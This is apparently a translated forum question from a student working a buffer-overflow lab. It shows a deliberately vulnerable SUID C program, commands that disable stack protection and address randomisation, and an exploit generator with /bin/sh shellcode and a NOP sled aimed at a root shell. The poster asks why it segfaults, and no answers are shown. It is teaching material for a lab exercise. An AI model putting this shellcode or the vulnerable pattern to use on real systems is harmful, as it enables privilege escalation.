为什么这个缓冲区溢出攻击代码发出分段错误

时间:2016-01-04 14:06:06

标签: c linux buffer-overflow exploit

我目前正在研究缓冲区溢出漏洞,并遇到了这样一个问题,需要我利用以下SUID程序。

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[24];
    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);
    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
}

该程序是在我的64位Ubuntu 14.04发行版上使用命令

编译的
gcc -m32 -o stack -z execstack -fno-stack-protector stack.c

然后我切换到root帐户并在其上应用'chmod 4755'。此外,已使用命令

关闭堆栈随机化
sysctl -w kernel.randomize_va_space=0
在root帐户下。

所以我要做的就是创建一个名为'badfile'的文件,其中包含一些恶意代码,这些代码可能会溢出前一个程序中的缓冲区字符串并导致损坏。

我写的用于创建'badfile'的程序如下所示(程序的主要部分已经提供,所以我所做的就是填补缺失的部分):

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);
    /* You need to fill the buffer with appropriate contents here */

    /* I tested and found out that the stack on my machine always start at
     approximately 0xffffd11b, so here I set the 28th,29th,30th and 31st 
     entries of this buffer string to be an address that is slightly larger 
     than 0xffffd11b, say 0xffffd130 */
    buffer[31]=0xff;
    buffer[30]=0xff;
    buffer[29]=0xd1;
    buffer[28]=0x30;
    /* Then I copy the shell code contained in the 'shellcode' string and
     place it somewhere far behind, so that when I run the 'stack' program, it 
    will execute the bof function, return to the address of 0xffd130, and then 
    go though some NOP, and eventually hit this shell code. */
    size_t count = 0;
    for (count = 0; count != (sizeof(shellcode)-1); ++count)
    {
        buffer[200+count] = shellcode[count];
    }

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

该程序是使用命令

编译的
gcc -m32 -o exploit exploit.c

运行这个编译好的程序后,我的工作目录中有'badfile'文件。然后,我运行'stack'程序,期望调用root权限的shell,但我收到一条警告说segmentation fault(core dumped),我无法弄清楚这个失败的原因。希望你们能在这里帮助我。提前谢谢!

0 个答案:

没有答案